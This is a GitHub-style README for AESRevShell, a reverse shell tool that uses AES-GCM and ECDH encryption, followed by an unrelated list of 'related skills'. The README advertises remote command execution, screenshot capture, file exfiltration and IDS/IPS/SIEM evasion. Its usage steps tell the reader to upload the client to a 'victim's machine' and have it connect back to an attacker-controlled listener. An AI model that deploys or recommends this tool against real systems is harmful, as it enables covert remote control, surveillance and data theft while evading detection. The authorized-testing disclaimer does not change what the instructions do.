AESRevShell
AESRevShell is a highly secure reverse shell tool that uses AES-GCM (256-bit) encryption and ECDH (Curve P-256) to ensure encrypted and protected communication between the server and the client.
Install / Use
/learn @OusH4x/AESRevShellREADME
AESRevShell
🔐 Overview
AESRevShell is a secure reverse shell tool that utilizes:
- AES-GCM for authenticated encryption
- ECDH (Elliptic Curve Diffie-Hellman) for secure key exchange
- HKDF for key derivation
Ideal for pentesting and security research in monitored environments.
✨ Key Features
| Feature | Description | |---------|-------------| | MITM Protection | ECDH prevents interception | | Forward Secrecy | Ephemeral session keys | | Command Execution | Remote command execution with encrypted responses | | Encrypted Screenshots | Captures and encrypts target screen | | Traffic Obfuscation | Bypasses IDS/IPS/SIEM | | Cross-Platform | Works on Linux/Windows/macOS | | No Key Sharing | Automatic secure exchange |
sequenceDiagram
participant Server
participant Client
Server->>Client: Public Key (ECDH)
Client->>Server: Public Key (ECDH)
Note right of Server: Derives shared secret
Note left of Client: Derives shared secret
Server->>Client: Encrypted (AES-GCM) Command
Client->>Server: Encrypted Response
Demos
Installation
-
Install dependencies:
sudo apt update && sudo apt install -y python3-pip python3 -m pip install --upgrade cryptography -
Clone the repository:
git clone https://github.com/OusH4x/AESRevShell cd AESRevShell -
Make the scripts executable:
chmod +x client.py server.py
🖥️ Usage
- Upload the 'client.py' into victim's machine
Server (attacker):
Start the server (attacker) with the desired IP and port:
./server.py -i 0.0.0.0 -p 443
Client (victim):
Connect the client (victim) to the server:
./client.py -s SERVER_IP -p SERVER_PORT
Special commands
screenshot- Captures target screendownload FILE(S)- Download one or more filesexit- Terminates sessionCTRL + L- Clears console
⚠️ Disclaimer
This tool is intended for educational purposes and authorized penetration testing only. Do not use it for malicious purposes. The authors are not responsible for any misuse of this tool.
🤝 Contributing
Contributions are welcome! If you have any suggestions, improvements, or bug fixes, feel free to open an issue or submit a pull request.
Author
Related Skills
node-connect
332.9kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
81.9kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
332.9kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
81.9kCommit, push, and open a PR
